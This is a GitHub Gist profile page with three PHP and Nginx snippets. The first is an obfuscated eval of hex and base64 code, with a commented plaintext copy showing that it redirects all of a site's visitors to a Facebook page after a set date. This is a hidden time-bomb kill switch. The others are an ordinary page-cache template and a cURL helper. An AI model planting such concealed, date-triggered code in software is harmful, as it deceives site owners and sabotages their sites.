Skip to content

Instantly share code, notes, and snippets.

View danimalweb's full-sized avatar

Daniel Hewes danimalweb

  • Creative Dot
  • Vancouver, Canada
View GitHub Profile
@danimalweb
danimalweb / date-code.php
Created January 4, 2016 02:45
Date Code
<?php
eval(pack('H*','6576616C286261736536345F6465636F646528274A475268644756424944306764476C745A5367704F79414B4A47526864475643494430674A7A49774D5451744D5445744D4455674D4441364D44416E4F79414B6157596F4A475268644756424944346763335279644739306157316C4B43526B5958526C51696B706579414B494341674947686C5957526C636967695447396A5958527062323436494768306448427A4F693876643364334C6D5A6859325669623239724C6D4E766253395862334A735A484E435A584E3055335276636E6B2F5A6E4A6C5A6A3130637949704F776F67494341675A476C6C4F7770392729293B'));
?>
<?php
/*
$dateA = time();
$dateB = '2014-11-05 00:00';
if($dateA > strtotime($dateB)){
@danimalweb
danimalweb / wordpress-pagecache.tpl
Last active November 20, 2017 17:32
Wordpress VestaCP Nginx Page Cache
fastcgi_cache_key "$scheme$request_method$host$request_uri";
add_header X-Cache $upstream_cache_status;
fastcgi_cache_path %home%/%user%/web/%domain%/cache levels=1:2 keys_zone=%domain%:100m inactive=60m;
server {
listen %ip%:%web_port%;
server_name %domain_idn% %alias_idn%;
root %docroot%;
index index.php index.html index.htm;
fastcgi_cache_key "$scheme$request_method$host$request_uri";
add_header X-Cache $upstream_cache_status;
fastcgi_cache_path %home%/%user%/web/%domain%/cache levels=1:2 keys_zone=%domain%:100m inactive=60m;
server {
listen %ip%:%web_ssl_port%;
server_name %domain_idn% %alias_idn%;
root %docroot%;
index index.php index.html index.htm;
@danimalweb
danimalweb / instagram.php
Created January 4, 2017 05:17
Instagram Curl API
<?php
function fetchData($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$result = curl_exec($ch);
curl_close($ch);
return $result;
}